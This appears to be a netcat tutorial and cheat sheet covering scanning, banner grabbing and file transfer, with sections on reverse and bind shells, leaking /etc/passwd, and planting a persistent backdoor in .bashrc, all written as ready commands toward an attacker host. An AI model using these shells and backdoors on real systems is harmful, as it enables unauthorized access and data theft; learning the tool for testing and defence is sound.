🖥️ Netcat (nc) – The Swiss Army Knife of Networking

Netcat is a versatile networking utility used for debugging, testing, transferring files, and even creating backdoors. It can read and write data across network connections using TCP or UDP.

1️⃣ Introduction & Installation

Installation (most Linux distros):

sudo apt install netcat-traditional -y

Check version:

nc -h

Syntax:

nc [options] [IP] [port]

2️⃣ Basic Usage & Syntax

Task	Command	Notes
Connect to host	nc <IP> <port>	Example: nc 192.168.1.10 80
Listen on port	nc -lvp <port>	-l listen, -v verbose, -p port
Send data	echo "Hello" | nc <IP> <port>	Useful for testing

3️⃣ Banner Grabbing

Get service info (like telnet, SSH, FTP):

nc -v <IP> <port>

Example:

nc -v 192.168.1.10 22

4️⃣ Port Scanning

Type	Command	Notes
Scan single port	nc -v -z <IP> 80	-z = zero-I/O (just scan)
Scan range	nc -v -z <IP> 20-100	Fast scanning
Scan multiple ports	nc -v -z <IP> 22 80 443	Space-separated

5️⃣ File Transfers

Send file (Server):

nc -lvp 4444 > received.txt

Receive file (Client):

nc <IP> 4444 < file.txt

6️⃣ Chat & Reverse Shells

Simple Chat (Server):

nc -lvp 4444

(Client):

nc <IP> 4444

Reverse Shell (Victim → Attacker)

Victim runs:

nc <attacker_IP> 4444 -e /bin/bash

Attacker listens:

nc -lvp 4444

7️⃣ Bind Shells

Attacker connects to victim's shell.

Victim runs:

nc -lvp 4444 -e /bin/bash

Attacker runs:

nc <victim_IP> 4444

8️⃣ Advanced Tricks

Trick	Command	Notes
Transfer directory (tar)	tar -cf - dir/ | nc <IP> 4444	Pack + send
Receive directory	nc -lvp 4444 | tar -xf -	Unpack
Remote file serving	cat /etc/passwd | nc <IP> 4444	Leak files
Create persistent backdoor	Add nc -lvp 4444 -e /bin/bash & in .bashrc	Auto-shell
Port forwarding	`mkfifo /tmp/f; nc -lvp 8080 < /tmp/f	nc target.com 80 > /tmp/f`

9️⃣ Cheat Sheet – Quick Reference

Task	Command
Listen	nc -lvp <port>
Connect	nc <IP> <port>
Port Scan	nc -zv <IP> 1-1000
File Send	nc <IP> 4444 < file.txt
File Receive	nc -lvp 4444 > file.txt
Chat	nc -lvp 4444 + nc <IP> 4444

Task	Command
Reverse Shell	Victim → nc <attacker_IP> 4444 -e /bin/bash
Bind Shell	Victim → nc -lvp 4444 -e /bin/bash

🔑 Notes & Tips

- Always use **-v** (verbose) to see connection details.
- Use **-n** to skip DNS resolution (faster).
- Some distros ship **ncat** (from Nmap) instead of nc. It has more features (SSL, proxy, etc.).
- Firewalls may block Netcat connections → try different ports.